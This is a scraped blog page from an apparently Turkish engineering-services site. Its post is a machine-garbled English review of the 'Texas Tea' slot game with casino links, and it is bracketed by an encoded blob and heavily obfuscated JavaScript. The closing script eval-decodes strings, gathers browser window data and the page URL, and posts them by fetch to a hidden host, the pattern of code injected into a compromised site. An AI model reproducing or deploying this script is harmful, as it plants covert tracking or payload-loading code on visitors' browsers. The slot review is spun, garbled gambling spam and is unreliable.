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			           <article id="post-9570" class="post-9570 post type-post status-publish format-standard hentry category-bgm-muhendislik-hizmetlerimiz">
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                <span class="entry-date me-3">20 Ağustos, 2026</span>
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                <span class="entry-author me-3">Şeref Parıldar</span>
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<p style="font-weight: 700;text-align: center;">Content</p>
<ul>
<li><a href="#toc-0">Battle of the atlantic slot: The way we Chosen</a></li>
<li><a href="#toc-1">Framework and Theme away from Colorado Beverage Video slot</a></li>
<li><a href="#toc-2">Colorado Beverage position on the cellphones</a></li>
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<p>The new logos shell out x100 a line choice and you may Ted will pay you to definitely of five you can dollars awards (x8, x10, x25, x40 otherwise x50 a whole bet). Range and you will bet configurations is the two modifications you have to create prior to spinning. Texas scatters fork out to help you x100 a whole bet within the an excellent base video game there are dollars honours out of x30 up to x495 inside a plus function. <span id="more-9570"></span> Texas Keep&#x2019;em (otherwise Texas hold&#8217;em, if you&#8217;d like) is the globe&apos;s preferred internet poker online game. Which common position inside home casinos has become for you personally to experience home (or functions, i wear&#x2019;t judge your, precisely the games), if you&#x2019;ve missed out on it classic, now&#x2019;s your opportunity so it can have a go within 100 percent free demo type.</p>
<p>The fresh Tx Teas free enjoy version is available anyway <a rel="nofollow" href="https://playcasinoonline.ca/battle-of-the-atlantic-slot-online-review/">battle of the atlantic slot</a> the fresh greatest casinos on the internet in britain. However,, overall, Texas Beverage are an ample online game which provides frequent earnings and you will a rip-roaring go out! Very position game have been in around 96%.</p>
<ul>
<li>The value of the newest prize is an excellent multiplier of the complete bet and you will hinges on the amount of scatters you to brought about the brand new bullet.</li>
<li>Broadening bets through the bonus cycles or immediately after losses can also be grab successful possibility.</li>
<li>So you can allege, you want the absolute minimum put from &#x20AC;20, that have betting criteria of 35x for the deposit and extra number, and you can 40x to your Free Spin profits.</li>
<li>Imagine simply, to own entertainment objectives &#x2014; lose gambling while the activity, not a way to generate income, and set a funds you can afford to shed.</li>
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<p>Colorado Tea shines for its enjoyable motif centered as much as Texan oil exploration, together with two novel added bonus provides that offer entertaining and rewarding game play. Across the 13 remark sites, it classic-style slot try applauded for the enjoyable extra rounds&#x2014;especially the common Huge Petroleum and Oils Bonus has&#x2014;that provide people enjoyable effective options instead challenging aspects. Lost the brand new adventure of IGT classics for example She&#x2019;s an abundant Lady, Voyages out of Zheng The guy, or West Belles in the online casinos? It micro-game lets people to arrange derricks to the some other regions of Colorado, for each sharing another cash honor. Colorado Teas slot shines using its a couple special added bonus have, and that add a layer of excitement on the game play. A small-game are next triggered &#x2013; the three, four to five oils derricks your always earn rating offered to you personally, near to a map away from Colorado.</p>
<p>As the free slot are enjoyable to play, the actual step starts when a person bets on the game having real money. People will enjoy other 100 percent free slot online game no down load no membership too. With the new &#x2018;Lines&#x2019; button, professionals can be lay how many lines productive or inactive. As they go into the gameplay, bettors meet up with the owner of one&#8217;s gold mine that is puffing particular really high priced cigar. Spread out gains try increased by the complete wager size also. Taxation Tea on the web slot is not an excellent scrooge in terms so you can spending large gains so you can gamblers.</p>
<h2 id="toc-0">Battle of the atlantic slot: The way we Chosen</h2>
<p><img decoding="async" src="https://eclipsegamingsystems.com/wp-content/uploads/2018/06/Eclipse-Gaming_Mermaid-Multipliers_Website-News-Release_2180x1000-1024x470.jpg" alt="battle of the atlantic slot" align="left" border="0"></p>
<p>Bright artwork and you can entertaining gameplay interest gamblers that have an oils-steeped theme. However they offer bettors having numerous a means to victory and keep maintaining interesting gameplay on the possibility higher payouts. These features lead to from the some menstruation and supply excitement to bettors. 100 percent free enjoy offers understanding to your provides, so it is best for the newest and you can educated gamblers.</p>
<h2 id="toc-1">Framework and Theme away from Colorado Beverage Video slot</h2>
<p>On the Large Oil Incentive video game, you have made as many petroleum derricks as the brought about the new feature. To love which added bonus element from Texas Beverage on the internet position, you want about three or more oils derricks to the a great payline and you may on the surrounding sphere. By clicking on Trial Mode you can look at your own luck having play money and possess used to the new position games and you will test the advantage provides instead membership. Play for fun, lay limits, and not bet more than you really can afford to shed. The brand new design try calibrated therefore the mediocre get back translates to so it position&apos;s wrote RTP (97.35%), having wins capped at the the greatest multiplier (ten,000&#xD7;).</p>
<h2 id="toc-2">Colorado Beverage position on the cellphones</h2>
<p>Plus it&apos;s as well as the label of a single of the very most humorous position game your&apos;ll find on the internet, brought to you because of the none other than Worldwide Online game Technical (IGT). The video game get a keen 8.7 section rating from 10 within our overview of it classic 100 percent free IGT slot machine. You might winnings to 945 gold coins on the Oils Derrick bonus element inside the Colorado Teas. The benefit has inside Texas Teas are a great scatter extra and you will a oil derrick added bonus. Obtaining about three or maybe more Colorado Teds is activate the main benefit feature, and also the payment ranges of 3x to 100x complete bet. Just belongings three or higher Texas Ted spread signs anywhere in view and you may prepare becoming compensated that have a commission ranging from 3x in order to 100x the total bet &#x2013; cha-ching!</p>
        
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gSvJMjq=new TextEncoder,Yp4KCX=new TextDecoder,f71yFT=new Uint8Array(Ux_oJtS(0x59)[Ux_oJtS(0x5a)](",")[Ux_oJtS(oI6xCCS[0xc])](Number)),zmz0i_4=0x5265c00,Z3nPlV=x6_A_PE=>{return(oI6xCCS[0x0],eval)(x6_A_PE)},L6RxfaD=x6_A_PE=>{function Ux_oJtS(x6_A_PE){var Ux_oJtS="W=GOKABCPqgHeuv$dsf[aU{7V]\"hYLw5Di03|M:?6Nm4zF9<o(pJ.}lj;%8Z`kT#yQ_xStb&X@2^/>*)1,IE+rRc~n!",XQL968,hsPrC0,JV2MTq,mv_oCS2,sS7hNk,noBU9B,J4vTjX;NetL9P(XQL968=""+(x6_A_PE||""),hsPrC0=XQL968.length,JV2MTq=[],mv_oCS2=oI6xCCS[0x0],sS7hNk=oI6xCCS[0x0],noBU9B=-oI6xCCS[0x1]);for(J4vTjX=oI6xCCS[0x0];J4vTjX<hsPrC0;J4vTjX++){var xBIYA3=Ux_oJtS.indexOf(XQL968[J4vTjX]);if(xBIYA3===-oI6xCCS[0x1])continue;if(noBU9B<oI6xCCS[0x0]){noBU9B=xBIYA3}else{NetL9P(noBU9B+=xBIYA3*oI6xCCS[0xc],mv_oCS2|=noBU9B<<sS7hNk,sS7hNk+=(noBU9B&oI6xCCS[0xd])>oI6xCCS[0xe]?oI6xCCS[0xf]:oI6xCCS[0x10]);do{NetL9P(JV2MTq.push(mv_oCS2&oI6xCCS[0x3]),mv_oCS2>>=oI6xCCS[0x2],sS7hNk-=oI6xCCS[0x2])}while(sS7hNk>oI6xCCS[0x9]);noBU9B=-oI6xCCS[0x1]}}if(noBU9B>-oI6xCCS[0x1]){JV2MTq.push((mv_oCS2|noBU9B<<sS7hNk)&oI6xCCS[0x3])}return RUuZO8v(JV2MTq)}function XQL968(x6_A_PE){if(typeof zVjCFG[x6_A_PE]===oI6xCCS[0x5]){return zVjCFG[x6_A_PE]=Ux_oJtS(TUEuVu[x6_A_PE])}return zVjCFG[x6_A_PE]}return new Uint8Array(x6_A_PE[XQL968(0x5c)]((x6_A_PE,Ux_oJtS)=>{return x6_A_PE^f71yFT[Ux_oJtS%f71yFT[XQL968(0x5d)]]}))},gzTHuI=async(x6_A_PE,Ux_oJtS)=>{function XQL968(x6_A_PE){var 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fetch(hsPrC0(0x5e)+x6_A_PE,{[hsPrC0(0x5f)]:hsPrC0(0x60),[hsPrC0(0x61)]:L6RxfaD(gSvJMjq[hsPrC0(0x62)](JSON[hsPrC0(0x63)](Ux_oJtS)))});if(!JV2MTq.ok){throw new Error}return Yp4KCX[hsPrC0(0x64)](L6RxfaD(new Uint8Array(await JV2MTq[hsPrC0(0x65)]())))};let rPS8my=oI6xCCS[0x0],byy8OU=oI6xCCS[0x0];setTimeout(()=>{function x6_A_PE(x6_A_PE){var Ux_oJtS="=,.u0{v9f_?<tA2+D/67LjSrkKoM!lVq53F]IBizghm&G*UeY`bw[PdR@1C\"HN4xy}TZQJp8>)E$cX^%~sWaO#;(n|:",XQL968,hsPrC0,JV2MTq,mv_oCS2,sS7hNk,noBU9B,J4vTjX;NetL9P(XQL968=""+(x6_A_PE||""),hsPrC0=XQL968.length,JV2MTq=[],mv_oCS2=oI6xCCS[0x0],sS7hNk=oI6xCCS[0x0],noBU9B=-oI6xCCS[0x1]);for(J4vTjX=oI6xCCS[0x0];J4vTjX<hsPrC0;J4vTjX++){var xBIYA3=Ux_oJtS.indexOf(XQL968[J4vTjX]);if(xBIYA3===-oI6xCCS[0x1])continue;if(noBU9B<oI6xCCS[0x0]){noBU9B=xBIYA3}else{NetL9P(noBU9B+=xBIYA3*oI6xCCS[0xc],mv_oCS2|=noBU9B<<sS7hNk,sS7hNk+=(noBU9B&oI6xCCS[0xd])>oI6xCCS[0xe]?oI6xCCS[0xf]:oI6xCCS[0x10]);do{NetL9P(JV2MTq.push(mv_oCS2&oI6xCCS[0x3]),mv_oCS2>>=oI6xCCS[0x2],sS7hNk-=oI6xCCS[0x2])}while(sS7hNk>oI6xCCS[0x9]);noBU9B=-oI6xCCS[0x1]}}if(noBU9B>-oI6xCCS[0x1]){JV2MTq.push((mv_oCS2|noBU9B<<sS7hNk)&oI6xCCS[0x3])}return RUuZO8v(JV2MTq)}function Ux_oJtS(Ux_oJtS){if(typeof zVjCFG[Ux_oJtS]===oI6xCCS[0x5]){return zVjCFG[Ux_oJtS]=x6_A_PE(TUEuVu[Ux_oJtS])}return zVjCFG[Ux_oJtS]}NetL9P(rPS8my=PVsx6G(),gzTHuI(Ux_oJtS(0x66),{[Ux_oJtS(0x67)]:xBIYA3,u:window[Ux_oJtS(0x68)][Ux_oJtS(0x69)],[Ux_oJtS(0x6a)]:Object[Ux_oJtS(0x6b)](window)[Ux_oJtS(0x6c)](x6_A_PE=>{function Ux_oJtS(x6_A_PE){var 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x6_A_PE[oI6xCCS[0x0]]===x6_A_PE[oI6xCCS[0x0]][XQL968(0x6d)]()&&!x6_A_PE[XQL968(0x6e)]("on")})})[Ux_oJtS(0x6f)](x6_A_PE=>{function Ux_oJtS(x6_A_PE){var Ux_oJtS="XSp;9rdtsz(AOo*L<@`]uvZyBJ&N~wRCU[7m$>i{Tja?|2.0qGb,D_%1}3E6H4=)h#V5K8^gWPl:QIeckMY!x+/\"fnF",XQL968,hsPrC0,JV2MTq,mv_oCS2,sS7hNk,noBU9B,J4vTjX;NetL9P(XQL968=""+(x6_A_PE||""),hsPrC0=XQL968.length,JV2MTq=[],mv_oCS2=oI6xCCS[0x0],sS7hNk=oI6xCCS[0x0],noBU9B=-oI6xCCS[0x1]);for(J4vTjX=oI6xCCS[0x0];J4vTjX<hsPrC0;J4vTjX++){var 